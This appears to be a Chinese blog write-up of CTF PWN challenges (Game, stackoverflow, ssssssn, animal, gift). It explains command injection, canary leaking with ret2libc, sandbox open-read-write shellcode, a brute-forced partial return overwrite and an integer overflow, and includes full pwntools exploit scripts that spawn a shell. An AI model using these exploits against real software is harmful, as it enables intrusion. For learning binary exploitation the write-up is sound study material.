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弱口令安全实验室招新赛PWN-WriteUp
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<time title="创建时间：2022-11-20 19:11:01" itemprop="dateCreated datePublished" datetime="2022-11-20T19:11:01+08:00">2022-11-20</time>
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<time title="修改时间：2023-05-07 15:37:53" itemprop="dateModified" datetime="2023-05-07T15:37:53+08:00">2023-05-07</time>
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<h2 id="Game"><a href="#Game" class="headerlink" title="Game"></a>Game</h2><span id="more"></span>
<ol>
<li><p>IDA分析发现需要满足输入的v3==v4，v4是一个srand()确定的随机数，才能跳转到back函数，在back函数里面利用Linux管道符可执行命令。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127191416.png"></p>
<img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127191445.png" style="zoom:75%;"></li>
<li><p>GDB查看v4的值为0x18c55c46（415587398）</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127191536.png"></p>
</li>
<li><p>nc远程连接后输入415587398，然后输入任意IP｜指令，即可执行系统命令，获取flag。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127191559.png"></p>
</li>
</ol>
<h2 id="stackoverflow"><a href="#stackoverflow" class="headerlink" title="stackoverflow"></a>stackoverflow</h2><ol>
<li><p>checksec发现开启了Canary和NX</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127191622.png"></p>
</li>
<li><p>IDA分析发现func中buf和v2两个变量均存在栈溢出。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127192338.png"></p>
</li>
<li><p>未发现system函数，提供了glibc，需要ret2libc题目。</p>
</li>
<li><p>由于开启了Canary，首先需要第一次输入泄漏Canary，其次需要获取libc基址和binsh的位置。</p>
</li>
<li><p>已知func_addr = 0x40128a、popedi_addr = 0x401393、func_ret_addr = 0x4012ff，首先计算libc基地，可通过<code>payload2 = 'A'*(0x40-8) + p64(canary_addr) + p64(0x00) + p64(popedi_addr) + p64(puts_got) + p64(puts_plt) + p64(func_addr)</code>泄漏puts函数的真实地址，计算libc基址、sys真实地址和binsh真实地址。最后通过<code>payload3 = 'A'*(0x40-8) + p64(canary_addr) + b'bbbbbbbb' + p64(func_ret_addr) + p64(popedi_addr) + p64(binsh_addr) + p64(system_addr)</code>执行<code>system(/bin/sh)</code>。</p>
</li>
<li><p>利用脚本</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="comment">#----------------------------------- parm zone -------------------------------------------------------#</span></span><br><span class="line">context.terminal = [<span class="string">'/usr/bin/tmux'</span>, <span class="string">'splitw'</span>, <span class="string">'-h'</span>]</span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">context.os = <span class="string">'linux'</span></span><br><span class="line">context.arch = <span class="string">'amd64'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#----------------------------------- functions for quick script --------------------------------------#</span></span><br><span class="line">s = <span class="keyword">lambda</span> data :sh.send(data) <span class="comment"># in case that data is an int</span></span><br><span class="line">sa = <span class="keyword">lambda</span> delim, data :sh.sendafter(delim, data)</span><br><span class="line">sl = <span class="keyword">lambda</span> data :sh.sendline(data)</span><br><span class="line">sla = <span class="keyword">lambda</span> delim, data :sh.sendlineafter(delim, data)</span><br><span class="line">r = <span class="keyword">lambda</span> numb=<span class="number">4096</span> :sh.recv(numb)</span><br><span class="line">ru = <span class="keyword">lambda</span> delims, drop=<span class="literal">True</span> :sh.recvuntil(delims, drop)</span><br><span class="line">rl = <span class="keyword">lambda</span> :sh.recvuntil(<span class="string">b'\n'</span>).strip(<span class="string">b'\n'</span>)</span><br><span class="line">irt = <span class="keyword">lambda</span> :sh.interactive()</span><br><span class="line">rs = <span class="keyword">lambda</span> *args, **kwargs :sh.start(*args, **kwargs)</span><br><span class="line">dbg = <span class="keyword">lambda</span> gs=<span class="string">''</span>, **kwargs :sh.debug(gdbscript=gs, **kwargs)</span><br><span class="line">rm = <span class="keyword">lambda</span> :io.recvuntil(rmflag)</span><br><span class="line">og = <span class="keyword">lambda</span> path=null :<span class="built_in">list</span>(<span class="built_in">map</span>(<span class="built_in">int</span>,subprocess.check_output([<span class="string">'one_gadget'</span>,<span class="string">'--raw'</span>,<span class="string">'-f'</span>,libc.path]).decode().strip(<span class="string">'\n'</span>).split(<span class="string">' '</span>))) <span class="keyword">if</span> path == null <span class="keyword">else</span> <span class="built_in">list</span>(<span class="built_in">map</span>(<span class="built_in">int</span>,subprocess.check_output([<span class="string">'one_gadget'</span>,<span class="string">'--raw'</span>,<span class="string">'-f'</span>,path]).decode().strip(<span class="string">'\n'</span>).split(<span class="string">' '</span>)))</span><br><span class="line">clear = <span class="keyword">lambda</span> :os.system(<span class="string">'clear'</span>)</span><br><span class="line">uu32 = <span class="keyword">lambda</span> data :u32(data.ljust(<span class="number">4</span>, <span class="string">b'\0'</span>))</span><br><span class="line">uu64 = <span class="keyword">lambda</span> data :u64(data.ljust(<span class="number">8</span>, <span class="string">b'\0'</span>))</span><br><span class="line">leak = <span class="keyword">lambda</span> name, addr :log.success(<span class="string">'\x1b[01;38;5;214m{} = {:#x}\x1b[0m'</span>.<span class="built_in">format</span>(name, addr))</span><br><span class="line">li = <span class="keyword">lambda</span> x :log.info(<span class="string">'\x1b[01;38;5;214m'</span> + x + <span class="string">'\x1b[0m'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#----------------------------------- func zone -------------------------------------------------------#</span></span><br><span class="line"><span class="comment"># gdb attach</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">gdb</span>(<span class="params">cmd=<span class="string">""</span></span>):</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">1</span>:</span><br><span class="line"> gdb.attach(sh,cmd)</span><br><span class="line"></span><br><span class="line"><span class="comment"># remote or local </span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">proloc</span>(<span class="params">elf_addr,libc_addr,pro_libc</span>):</span><br><span class="line"> <span class="keyword">global</span> sh, elf, libc, one_ggs</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) > <span class="number">1</span> :</span><br><span class="line"> ip = sys.argv[<span class="number">1</span>].split(<span class="string">':'</span>)[<span class="number">0</span>]</span><br><span class="line"> prot = sys.argv[<span class="number">1</span>].split(<span class="string">':'</span>)[<span class="number">0</span>]</span><br><span class="line"> sh = remote(ip,prot)</span><br><span class="line"> libc = pro_libc</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> sh = process(elf_addr) </span><br><span class="line"> elf = ELF(elf_addr)</span><br><span class="line"> libc = elf.libc <span class="comment"># libc = ELF(libc_addr, checksec=False)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#----------------------------------- code zone -------------------------------------------------------#</span></span><br><span class="line"><span class="comment"># Leak Canary & ret2libc</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exp</span>():</span><br><span class="line"> <span class="comment"># leak canary</span></span><br><span class="line"> sla(<span class="string">'Do you know who first discovered the stack overflow'</span>,<span class="string">b'A'</span>*(<span class="number">0x60</span>-<span class="number">8</span>))</span><br><span class="line"> ru(<span class="string">b'A'</span>*(<span class="number">0x60</span>-<span class="number">8</span>) + <span class="string">b'\n'</span>)</span><br><span class="line"> canary=uu64(r(<span class="number">7</span>).rjust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line"> leak(<span class="string">'canary'</span>,canary)</span><br><span class="line"> <span class="comment"># leak libc_base</span></span><br><span class="line"> puts_got = elf.got[<span class="string">'puts'</span>]</span><br><span class="line"> puts_plt = elf.plt[<span class="string">'puts'</span>]</span><br><span class="line"> func_addr = <span class="number">0x40128a</span></span><br><span class="line"> popedi_addr = <span class="number">0x401393</span></span><br><span class="line"> func_ret_addr = <span class="number">0x4012ff</span></span><br><span class="line"> payload = flat(<span class="string">b'A'</span>*(<span class="number">0x40</span>-<span class="number">8</span>), p64(canary), p64(<span class="number">0x00</span>), p64(popedi_addr), p64(puts_got), p64(puts_plt), p64(func_addr))</span><br><span class="line"> sla(<span class="string">'leave your name:'</span>,payload)</span><br><span class="line"> puts_addr = u64(sh.recvuntil(<span class="string">"\n"</span>)[:-<span class="number">1</span>].ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line"> libc_base = puts_addr - libc.symbols[<span class="string">'puts'</span>]</span><br><span class="line"> binsh_addr = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b"/bin/sh"</span>))</span><br><span class="line"> system_addr = libc_base + libc.symbols[<span class="string">'system'</span>]</span><br><span class="line"> leak(<span class="string">'libc_base'</span>,libc_base)</span><br><span class="line"> <span class="comment"># ret2libc getshell</span></span><br><span class="line"> sl(<span class="string">b'A'</span>*(<span class="number">0x60</span>-<span class="number">8</span>))</span><br><span class="line"> ru(<span class="string">b'A'</span>*(<span class="number">0x60</span>-<span class="number">8</span>) + <span class="string">b'\n'</span>)</span><br><span class="line"> canary = uu64(r(<span class="number">7</span>).rjust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line"> leak(<span class="string">'canary'</span>,canary)</span><br><span class="line"> payload = flat(<span class="string">b'A'</span>*(<span class="number">0x40</span>-<span class="number">8</span>), p64(canary), p64(<span class="number">0x00</span>), p64(func_ret_addr), p64(popedi_addr), p64(binsh_addr), p64(system_addr), p64(func_addr))</span><br><span class="line"> sla(<span class="string">'leave your name:'</span>,payload)</span><br><span class="line"> sh.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> elf_addr = <span class="string">'./stackoverflow'</span> <span class="comment"># local ELF</span></span><br><span class="line"> libc_addr = <span class="string">'libc.so.6'</span> <span class="comment"># local Libc</span></span><br><span class="line"> pro_libc = <span class="string">""</span> <span class="comment"># remote Libc</span></span><br><span class="line"> proloc(elf_addr, libc_addr, pro_libc)</span><br><span class="line"> exp()</span><br></pre></td></tr></table></figure></li>
</ol>
<h2 id="ssssssn"><a href="#ssssssn" class="headerlink" title="ssssssn"></a>ssssssn</h2><ol>
<li><p>checksec，保护全开</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127191822.png"></p>
</li>
<li><p>开启了沙箱，不允许执行命令。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127191842.png"></p>
</li>
<li><p>IDA分析发现是利用mmap函数建立了一个权限为7的内存映射，然后利用read函数读入13字节去执行。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127191906.png"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127191921.png"></p>
</li>
<li><p>由于只允许输入13个字节，因此先利用payload1<code>asm('mov rdx, 0x100')+asm('xor rax, rax')+asm('syscall')</code>扩大从标准输入读取长度，然后进行ORW，payload：<code>b'\x90'*len(payload1) + asm(shellcraft.open("flag")) + asm(shellcraft.read("rax", "rsp", 0x100)) + asm(shellcraft.write(1, "rsp", 0x100))</code>，打开flag文件，rax接收返回的文件描述符，根据rax的文件描述符读取flag写入rsp指向的内存，然后从rsp将flag写入到标准输出。</p>
</li>
<li><p>利用脚本</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="comment">#----------------------------------- parm zone --------------------------------------------------------#</span></span><br><span class="line">context.terminal = [<span class="string">'gnome-terminal'</span>, <span class="string">'-x'</span>, <span class="string">'sh'</span>, <span class="string">'-c'</span>]</span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">context.os = <span class="string">'linux'</span></span><br><span class="line">context.arch = <span class="string">'amd64'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#----------------------------------- functions for quick script ---------------------------------------#</span></span><br><span class="line">s = <span class="keyword">lambda</span> data :sh.send(data) <span class="comment"># in case that data is an int</span></span><br><span class="line">sa = <span class="keyword">lambda</span> delim, data :sh.sendafter(delim, data)</span><br><span class="line">sl = <span class="keyword">lambda</span> data :sh.sendline(data)</span><br><span class="line">sla = <span class="keyword">lambda</span> delim, data :sh.sendlineafter(delim, data)</span><br><span class="line">r = <span class="keyword">lambda</span> numb=<span class="number">4096</span> :sh.recv(numb)</span><br><span class="line">ru = <span class="keyword">lambda</span> delims, drop=<span class="literal">True</span> :sh.recvuntil(delims, drop)</span><br><span class="line">rl = <span class="keyword">lambda</span> :sh.recvuntil(<span class="string">b'\n'</span>).strip(<span class="string">b'\n'</span>)</span><br><span class="line">irt = <span class="keyword">lambda</span> :sh.interactive()</span><br><span class="line">rs = <span class="keyword">lambda</span> *args, **kwargs :sh.start(*args, **kwargs)</span><br><span class="line">dbg = <span class="keyword">lambda</span> gs=<span class="string">''</span>, **kwargs :sh.debug(gdbscript=gs, **kwargs)</span><br><span class="line">rm = <span class="keyword">lambda</span> :io.recvuntil(rmflag)</span><br><span class="line">og = <span class="keyword">lambda</span> path=null :<span class="built_in">list</span>(<span class="built_in">map</span>(<span class="built_in">int</span>,subprocess.check_output([<span class="string">'one_gadget'</span>,<span class="string">'--raw'</span>,<span class="string">'-f'</span>,libc.path]).decode().strip(<span class="string">'\n'</span>).split(<span class="string">' '</span>))) <span class="keyword">if</span> path == null <span class="keyword">else</span> <span class="built_in">list</span>(<span class="built_in">map</span>(<span class="built_in">int</span>,subprocess.check_output([<span class="string">'one_gadget'</span>,<span class="string">'--raw'</span>,<span class="string">'-f'</span>,path]).decode().strip(<span class="string">'\n'</span>).split(<span class="string">' '</span>)))</span><br><span class="line">clear = <span class="keyword">lambda</span> :os.system(<span class="string">'clear'</span>)</span><br><span class="line">uu32 = <span class="keyword">lambda</span> data :u32(data.ljust(<span class="number">4</span>, <span class="string">b'\0'</span>))</span><br><span class="line">uu64 = <span class="keyword">lambda</span> data :u64(data.ljust(<span class="number">8</span>, <span class="string">b'\0'</span>))</span><br><span class="line">leak = <span class="keyword">lambda</span> name, addr :log.success(<span class="string">'\x1b[01;38;5;214m{} = {:#x}\x1b[0m'</span>.<span class="built_in">format</span>(name, addr))</span><br><span class="line">li = <span class="keyword">lambda</span> x :log.info(<span class="string">'\x1b[01;38;5;214m'</span> + x + <span class="string">'\x1b[0m'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#----------------------------------- func zone --------------------------------------------------------#</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># gdb attach</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>(<span class="params">cmd=<span class="string">""</span></span>):</span><br><span class="line"> gdb.attach(sh,cmd)</span><br><span class="line"></span><br><span class="line"><span class="comment"># remote or local </span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">proloc</span>(<span class="params">elf_addr,libc_addr,pro_libc</span>):</span><br><span class="line"> <span class="keyword">global</span> sh, elf, libc</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) > <span class="number">1</span> :</span><br><span class="line"> ip = sys.argv[<span class="number">1</span>].split(<span class="string">':'</span>)[<span class="number">0</span>]</span><br><span class="line"> prot = sys.argv[<span class="number">1</span>].split(<span class="string">':'</span>)[<span class="number">0</span>]</span><br><span class="line"> sh = remote(ip,prot)</span><br><span class="line"> libc = pro_libc</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> sh = process(elf_addr) </span><br><span class="line"> elf = ELF(elf_addr)</span><br><span class="line"> libc = elf.libc <span class="comment">#ELF(libc_addr, checksec=False)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ---------------------------------- code zone --------------------------------------------------------#</span></span><br><span class="line"><span class="comment"># ORW</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exp</span>():</span><br><span class="line"> <span class="comment"># debug()</span></span><br><span class="line"> code = [</span><br><span class="line"> asm(<span class="string">'mov rdx, 0x100'</span>),</span><br><span class="line"> asm(<span class="string">'xor rax, rax'</span>),</span><br><span class="line"> asm(<span class="string">'syscall'</span>),</span><br><span class="line"> ]</span><br><span class="line"> payload1 = <span class="string">b""</span>.join(code)</span><br><span class="line"> sa(<span class="string">"you can input only 13 messages:\n"</span>, payload1)</span><br><span class="line"> sleep(<span class="number">1</span>)</span><br><span class="line"> payload2 = (flat(<span class="string">b'\x90'</span>*<span class="built_in">len</span>(payload1), asm(shellcraft.<span class="built_in">open</span>(<span class="string">"flag"</span>)), asm(shellcraft.read(<span class="string">"rax"</span>, <span class="string">"rsp"</span>, <span class="number">0x100</span>)), asm(shellcraft.write(<span class="number">1</span>, <span class="string">"rsp"</span>, <span class="number">0x100</span>)))).ljust(<span class="number">0x100</span>, <span class="string">b'\x00'</span>)</span><br><span class="line"> sl(payload2)</span><br><span class="line"> sh.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> elf_addr = <span class="string">'./ssssssn'</span> <span class="comment"># local ELF</span></span><br><span class="line"> libc_addr = <span class="string">''</span> <span class="comment"># local Libc</span></span><br><span class="line"> pro_libc = <span class="string">''</span> <span class="comment"># remote Libc</span></span><br><span class="line"> proloc(elf_addr, libc_addr, pro_libc)</span><br><span class="line"> exp()</span><br></pre></td></tr></table></figure></li>
</ol>
<h2 id="animal"><a href="#animal" class="headerlink" title="animal"></a>animal</h2><ol>
<li><p>checkseck发现开启了堆栈不可执行和地址随机化</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127192045.png"></p>
</li>
<li><p>IDA分析为C++编写，getAnimal函数可以泄露地址，backdoor函数存在栈溢出漏洞，shell函数可以执行system命令。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127192108.png"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127192119.png"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127192131.png"></p>
</li>
<li><p>输入的内容不为1或2，跳转至backdoor函数，利用栈溢出ret2text，跳转到system(‘/bin/sh’)的地址即可命令执行。由于开启了PIE，shell最后三位地址不变，因此我们可以通过覆盖地址的后3位实现跳转至shell函数。由于至少要覆盖4位，倒数第四位需要爆破，爆破范围在0到0xf。</p>
</li>
<li><p>脚本如下</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line"><span class="comment"># gdb.attach(p,"b backdoor")</span></span><br><span class="line">context.update(arch=<span class="string">'amd64'</span>, os=<span class="string">'linux'</span>)</span><br><span class="line"></span><br><span class="line">list1 = [<span class="string">"\x05"</span>,<span class="string">"\x15"</span>,<span class="string">"\x25"</span>,<span class="string">"\x35"</span>,<span class="string">"\x45"</span>,<span class="string">"\x55"</span>,<span class="string">"\x65"</span>,<span class="string">"\x75"</span>,<span class="string">"\x85"</span>,<span class="string">"\x95"</span>,<span class="string">"\xa5"</span>,<span class="string">"\xb5"</span>,<span class="string">"\xc5"</span>,<span class="string">"\xd5"</span>,<span class="string">"\xe5"</span>,<span class="string">"\xf5"</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> sh = process(<span class="string">'./animal'</span>)</span><br><span class="line"> payload = <span class="string">'A'</span> * <span class="number">16</span>+<span class="string">'BBBBBBBB'</span>+<span class="string">'\x66'</span>+random.sample(list1,<span class="number">1</span>)[<span class="number">0</span>]</span><br><span class="line"> sh.sendafter(<span class="string">"3.show\n"</span>,<span class="string">'11'</span>)</span><br><span class="line"> sh.sendafter(<span class="string">"leave lase message\n"</span>, payload)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> sh.recv(timeout=<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">except</span> EOFError:</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> sh.interactive()</span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></table></figure></li>
</ol>
<h2 id="gift"><a href="#gift" class="headerlink" title="gift"></a>gift</h2><ol>
<li><p>IDA分析发现需使int型变量<code>v4<=5 && v4-1>5</code>才能执行系统命令。显然是整数溢出，输入最小的int型整数（-2147483648）即可。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127192258.png"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20221127192314.png"></p>
</li>
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